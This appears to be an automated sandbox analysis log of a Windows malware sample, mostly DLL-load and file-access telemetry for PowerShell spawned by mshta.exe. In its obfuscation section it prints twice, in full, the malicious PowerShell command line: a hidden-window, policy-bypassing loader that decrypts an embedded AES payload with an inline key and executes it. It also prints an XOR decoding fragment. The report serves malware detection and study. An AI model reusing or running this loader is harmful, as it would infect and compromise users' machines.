Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb~ source: powershell.exe, 00000009.00000002.3125436846.0000000007805000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.3125436846.0000000007805000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32ement.Infrastructure.Native.dll3f5f source: powershell.exe, 00000009.00000002.3125696403.000000000782D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.3125696403.000000000780C000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($z));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {for ($j = 0; $j -lt $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];$i++;if

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129)
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129)			Jump to behavior

Yara detected Costura Assembly Loader

Source: Yara match	File source: 4.2.powershell.exe.6f90000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2856842379.0000000006F90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_049F4960 push 30080151h; ret	2_2_049F4A55
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_049F4A48 push 30080151h; ret	2_2_049F4A55
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0470B76F pushad ; iretd	4_2_0470B770
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_047042D7 push ebx; ret	4_2_047042DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F736DB push ebx; iretd	4_2_06F736DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F7369B push ebx; iretd	4_2_06F736DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F735D8 push ebx; iretd	4_2_06F736DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F86FE9 push es; retf	4_2_06F86FF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F864FF push esi; iretd	4_2_06F86507
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F8C38D push FFFFFF8Bh; iretd	4_2_06F8C38F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F8C33C push FFFFFF8Bh; ret	4_2_06F8C33E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F85089 push es; retf	4_2_06F8512C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F85011 push es; iretd	4_2_06F85038
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F85171 push es; retf	4_2_06F85174
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071C7051 push es; retf	4_2_071C7052
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00446870 push edi; ret	8_2_00446871
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00433AFE push eax; mov dword ptr [esp], eax	8_2_00433AFF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F530 push eax; mov dword ptr [esp], E1CAE11Dh	8_2_0043F535
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043C5D0 push eax; mov dword ptr [esp], 77987799h	8_2_0043C5DE

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
